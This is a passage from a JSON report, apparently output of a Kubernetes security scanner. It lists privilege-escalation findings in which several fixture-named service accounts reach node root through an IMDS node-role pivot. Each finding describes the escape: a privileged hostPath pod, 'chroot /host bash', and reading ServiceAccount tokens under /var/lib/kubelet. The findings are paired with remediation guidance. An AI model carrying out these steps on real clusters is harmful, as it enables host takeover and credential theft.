    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/foothold-exec/foothold-reader`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-exec/foothold-reader` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-exec/foothold-reader` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod foothold-exec/foothold-target falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/foothold-fixtures/foothold-quiet:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-fixtures/foothold-quiet` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/foothold-fixtures/foothold-quiet` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/foothold-fixtures/foothold-quiet` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod foothold-fixtures/foothold-quiet-app-749c54956-gwlx2 falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-quiet",
      "namespace": "foothold-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-fixtures/foothold-quiet` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/foothold-fixtures/foothold-quiet` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/foothold-fixtures/foothold-quiet`.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-quiet`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod foothold-fixtures/foothold-quiet-app-749c54956-gwlx2 falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-quiet` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-quiet` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-quiet",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod foothold-fixtures/foothold-quiet-app-749c54956-gwlx2 falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/gw-workloads/gw-web-sa:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/gw-workloads/gw-web-sa` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/gw-workloads/gw-web-sa` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "gw-web-sa",
      "namespace": "gw-workloads"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/gw-workloads/gw-web-sa` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/gw-workloads/gw-web-sa` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/gw-workloads/gw-web-sa`.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/gw-workloads/gw-web-sa` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/gw-workloads/gw-web-sa` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/hookbackend-fixtures/default:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/hookbackend-fixtures/default` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/hookbackend-fixtures/default` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/hookbackend-fixtures/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod hookbackend-fixtures/hookbackend-injector-98b757bb8-kvrpv falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "hookbackend-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/hookbackend-fixtures/default` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/hookbackend-fixtures/default` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/hookbackend-fixtures/default`.",
      "Acting as `ServiceAccount/hookbackend-fixtures/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod hookbackend-fixtures/hookbackend-injector-98b757bb8-kvrpv falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/hookbackend-fixtures/default` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/hookbackend-fixtures/default` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod hookbackend-fixtures/hookbackend-injector-98b757bb8-kvrpv falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/imgswap-fixtures/imgswap-reader:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/imgswap-fixtures/imgswap-reader` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/imgswap-fixtures/imgswap-reader` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-reader",
      "namespace": "imgswap-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/imgswap-fixtures/imgswap-reader` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/imgswap-fixtures/imgswap-reader` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/imgswap-fixtures/imgswap-reader`.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-reader` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-reader` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
